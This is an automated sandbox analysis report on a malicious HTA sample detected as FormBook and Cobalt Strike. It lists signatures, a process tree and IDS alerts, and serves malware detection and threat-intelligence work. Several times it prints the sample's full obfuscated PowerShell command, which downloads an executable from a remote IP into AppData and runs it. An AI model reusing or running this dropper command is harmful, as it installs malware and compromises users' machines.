Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
seemejkiss.hta

Overview

General Information

Sample name:seemejkiss.hta
Analysis ID:1570657
MD5:1839f55f0cfed85d442ba37410e344ed
SHA1:6aa8c00d5a6bac164de92c747ca049a7847b00a4
SHA256:6af62cafa5b80900dbacfd9425e9f5411a39f0152eb63dfdd093ef229c9b350b
Tags:htauser-abuse_ch
Infos:

Detection

Cobalt Strike, FormBook, HTMLPhisher
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Detected Cobalt Strike Beacon
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
Yara detected HtmlPhish44
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Maps a DLL or memory area into another process
PowerShell case anomaly found
Powershell drops PE file
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Suspicious MSHTA Child Process
Suspicious command line found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Writes to foreign memory regions
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Uncommon Svchost Parent Process
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • mshta.exe (PID: 5804 cmdline: mshta.exe "C:\Users\user\Desktop\seemejkiss.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)
    • cmd.exe (PID: 6716 cmdline: "C:\Windows\system32\cmd.exe" "/C pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 4180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 3472 cmdline: pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • csc.exe (PID: 4796 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)
          • cvtres.exe (PID: 1120 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3925.tmp" "c:\Users\user\AppData\Local\Temp\5zyziwbf\CSCADB73B4CC47C40A8804A92B1B0BD1E62.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)
        • winnit.exe (PID: 7060 cmdline: "C:\Users\user\AppData\Roaming\winnit.exe" MD5: A97987DF137D1328F00AA6B81EBA4957)
          • svchost.exe (PID: 3292 cmdline: "C:\Users\user\AppData\Roaming\winnit.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
seemejkiss.htaJoeSecurity_HtmlPhish_44Yara detected HtmlPhish_44Joe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000007.00000002.2350161997.0000000000400000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000007.00000002.2350750527.0000000003950000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        7.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          7.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

            Sigma Signatures

            System Summary

            barindex
            Sigma detected: Suspicious MSHTA Child Process
            Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\system32\cmd.exe" "/C pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))", CommandLine: "C:\Windows\system32\cmd.exe" "/C pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c
            Sigma detected: Dynamic .NET Compilation Via Csc.EXE
            Source: Process startedAuthor: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3472, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.cmdline", ProcessId: 4796, ProcessName: csc.exe
            Sigma detected: Potential Binary Or Script Dropper Via PowerShell
            Source: File createdAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3472, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\win[1].exe
            Sigma detected: Uncommon Svchost Parent Process
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\AppData\Roaming\winnit.exe" , CommandLine: "C:\Users\user\AppData\Roaming\winnit.exe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\winnit.exe" , ParentImage: C:\Users\user\AppData\Roaming\winnit.exe, ParentProcessId: 7060, ParentProcessName: winnit.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\winnit.exe" , ProcessId: 3292, ProcessName: svchost.exe
            Sigma detected: Dynamic CSharp Compile Artefact
            Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3472, TargetFilename: C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.cmdline
            Sigma detected: Non Interactive PowerShell Process Spawned
            Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))", CommandLine: pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyA
            Sigma detected: Windows Processes Suspicious Parent Directory
            Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\AppData\Roaming\winnit.exe" , CommandLine: "C:\Users\user\AppData\Roaming\winnit.exe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\winnit.exe" , ParentImage: C:\Users\user\AppData\Roaming\winnit.exe, ParentProcessId: 7060, ParentProcessName: winnit.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\winnit.exe" , ProcessId: 3292, ProcessName: svchost.exe

            Data Obfuscation

            barindex
            Sigma detected: Dot net compiler compiles file from suspicious location
            Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3472, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.cmdline", ProcessId: 4796, ProcessName: csc.exe

            Suricata Signatures

            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-12-07T15:47:45.492739+010020220501A Network Trojan was detected107.175.113.19680192.168.2.549706TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-12-07T15:47:45.772482+010020220511A Network Trojan was detected107.175.113.19680192.168.2.549706TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
